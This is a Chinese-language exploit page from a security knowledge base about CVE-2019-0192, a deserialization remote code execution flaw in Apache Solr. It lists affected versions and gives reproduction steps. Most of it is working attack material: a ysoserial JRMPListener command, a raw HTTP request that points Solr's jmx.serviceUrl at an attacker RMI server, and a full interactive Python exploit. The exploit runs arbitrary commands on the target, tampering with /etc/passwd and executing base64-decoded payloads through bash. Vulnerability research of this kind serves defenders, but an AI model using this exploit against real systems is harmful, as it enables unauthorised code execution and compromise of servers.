menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 016-Apache Solr chevron_right 003-CVE-2019-0192 Apache Solr Deserialization 远程代码执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    003-CVE-2019-0192 Apache Solr Deserialization 远程代码执行漏洞.md
    9.36 KB / 2021-07-17 00:01:26
        ## CVE-2019-0192 Apache Solr Deserialization 远程代码执行漏洞
    
    ### 一、漏洞简介
    
    Apache Solr中的ConfigAPI允许设置一个jmx.serviceUrl,它将创建一个新的JMXConnectorServerFactory,并通过“绑定”操作触发对目标RMI/LDAP服务器的调用。恶意的RMI服务器可以响应任意的对象,这些对象将在Solr端使用java的ObjectInputStream反序列化,这被认为是不安全的。这种类型的漏洞可以利用ysoserial工具。根据目标类路径,攻击者可以使用其中一个“gadget chain”来触发Solr端上的远程代码执行。
    
    ### 二、漏洞影响
    
    Apache Solr 5.0.0 to 5.5.5
    
    Apache Solr 6.0.0 to 6.6.5
    
    ### 三、复现过程
    
    下载Apache Solr 5.5.3版本作为靶机(注意,一定要使用jre7u25以下jre),执行solr -e techproducts -Dcom.sun.management.jmxremote指令开启服务。
    
    使用ysoserial工具,执行Java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12363 Jdk7u21 "calc"指令,监听12363**端口。然后传入以下数据:
    
    ```bash
    POST /solr/techproducts/config HTTP/1.1
    
    Host: 0-sec.org:8983
    
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
    
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    
    Content-type:application/json
    
    Connection: close
    
    Upgrade-Insecure-Requests: 1
    
    Content-Length: 91
    
     
    
    {"set-property" : {"jmx.serviceUrl" : "service:jmx:rmi:///jndi/rmi://127.0.0.1:12363/obj"}}
    ```
    
    poc
    
    下载yoserial:http://wiki.0-sec.org/download/yoserial.zip,并将value修改为一下内容
    
    
    ```
    remote = "http://172.18.0.5:8983"
    ressource = ""
    RHOST = "172.18.0.1"
    RPORT = "1099"
    ```
    
    然后执行一下脚本
    
    ```python
    import base64
    import requests
    import subprocess
    import signal
    import sys
    import os
    import time
    import re
    
    remote = "http://172.18.0.5:8983"
    ressource = ""
    RHOST = "172.18.0.1"
    RPORT = "1099"
    
    proxy = {
    }
    
    def exploit(command):
        print("\n Run the malicious RMI server using yoserial by running this command:")
        print("\n java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21" + command)
        
    
    if __name__ == "__main__":
        print("\nCVE-2019-0192 - Apache Solr RCE 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5\n")
        print("[+] Checking if ressource available =>", end=' ')
    
        burp0_url = remote + "/solr/admin/cores?wt=json"
        r = requests.get(burp0_url, proxies=proxy, verify=False, allow_redirects=False)
        if r.status_code == 200:
            if r.json()['status'] == "":
                print("KO")
                sys.exit()
            else:
                a = list(r.json()['status'].keys())
                ressource = "/solr/" + a[0] + "/config"
                print(ressource)
        else:
            print("KO")
            sys.exit()
    
        while True:
            try:
                command = input("command (\033[92mnot reflected\033[0m)> ")
                if command == "exit":
                    print("Exiting...")
                    break
                command = base64.b64encode(command.encode('utf-8'))
                command_str = command.decode('utf-8')
                command_str = command_str.replace('/', '+')
    
                pro = subprocess.Popen(
                    "java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'cp /etc/passwd /tmp/passwd'", stdout=subprocess.PIPE,shell=True, preexec_fn=os.setsid)
    
                print("[+] Copy file to tmp directory =>", end=' ')
                burp0_url = remote + ressource
                burp0_headers = {"Content-Type": "application/json"}
                burp0_json = {
                    "set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
                r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
                if r.status_code == 500:
                    m = re.search('(undeclared checked exception; nested exception is)', r.text)
                    if m:
                        print("\033[92mOK\033[0m")
                    else:
                        print("\n[-] Error")
                        os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                        sys.exit()
                else:
                    print("KO")
                    os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                    sys.exit()
                os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                time.sleep(3)
    
                pro = subprocess.Popen(
                    "java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'sed -i 1cpwn /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
    
                print("[+] Preparing file =>", end=' ')
                burp0_url = remote + ressource
                burp0_headers = {"Content-Type": "application/json"}
                burp0_json = {
                    "set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
                r = requests.post(
                    burp0_url, headers=burp0_headers, json=burp0_json)
                if r.status_code == 500:
                    print("\033[92mOK\033[0m")
                else:
                    print("KO")
                    os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                    sys.exit()
                os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                time.sleep(3)
    
                pro = subprocess.Popen(
                    "java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'sed -i /[^pwn]/d /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
    
                print("[+] Cleaning temp file =>", end=' ')
                burp0_url = remote + ressource
                burp0_headers = {"Content-Type": "application/json"}
                burp0_json = {
                    "set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
                r = requests.post(
                    burp0_url, headers=burp0_headers, json=burp0_json)
                if r.status_code == 500:
                    print("\033[92mOK\033[0m")
                else:
                    print("KO")
                    os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                    sys.exit()
                os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                time.sleep(3)
    
                pro = subprocess.Popen(
                    "java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'sed -i 1s/pwn/{echo," +
                    command_str + "}|{base64,-d}>pwn.txt/g /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
    
                print("[+] Writing command into temp file =>", end=' ')
                burp0_url = remote + ressource
                burp0_headers = {"Content-Type": "application/json"}
                burp0_json = {
                    "set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
                r = requests.post(
                    burp0_url, headers=burp0_headers, json=burp0_json)
                if r.status_code == 500:
                    print("\033[92mOK\033[0m")
                else:
                    print("KO")
                    os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                    sys.exit()
                os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                time.sleep(3)
    
                pro = subprocess.Popen(
                    "java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'bash /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
    
                print("[+] Decode base64 command =>", end=' ')
                burp0_url = remote + ressource
                burp0_headers = {"Content-Type": "application/json"}
                burp0_json = {
                    "set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
                r = requests.post(
                    burp0_url, headers=burp0_headers, json=burp0_json)
                if r.status_code == 500:
                    print("\033[92mOK\033[0m")
                else:
                    print("KO")
                    os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                    sys.exit()
                os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                time.sleep(3)
    
                pro = subprocess.Popen(
                    "java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'bash pwn.txt'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
    
                print("[+] Executing command =>", end=' ')
                burp0_url = remote + ressource
                burp0_headers = {"Content-Type": "application/json"}
                burp0_json = {
                    "set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
                r = requests.post(
                    burp0_url, headers=burp0_headers, json=burp0_json)
                if r.status_code == 500:
                    print("\033[92mOK\033[0m")
                else:
                    print("KO")
                    os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                    sys.exit()
                os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                time.sleep(3)
    
            except KeyboardInterrupt:
                print("Exiting...")
                break
    ```
    
    参考链接
    
    https://github.com/mpgn/CVE-2019-0192
    
    https://mp.weixin.qq.com/s?__biz=MzI4NjE2NjgxMQ==&mid=2650237094&idx=1&sn=4125bf632680d991f38f9f147657b38d&chksm=f3e2d2d2c4955bc4894b3098ca11cbe7d9917c23e173c87b7fe2f02c84b195aea381746567a3&scene=21#wechat_redirect
    
    
    
    links
    file_download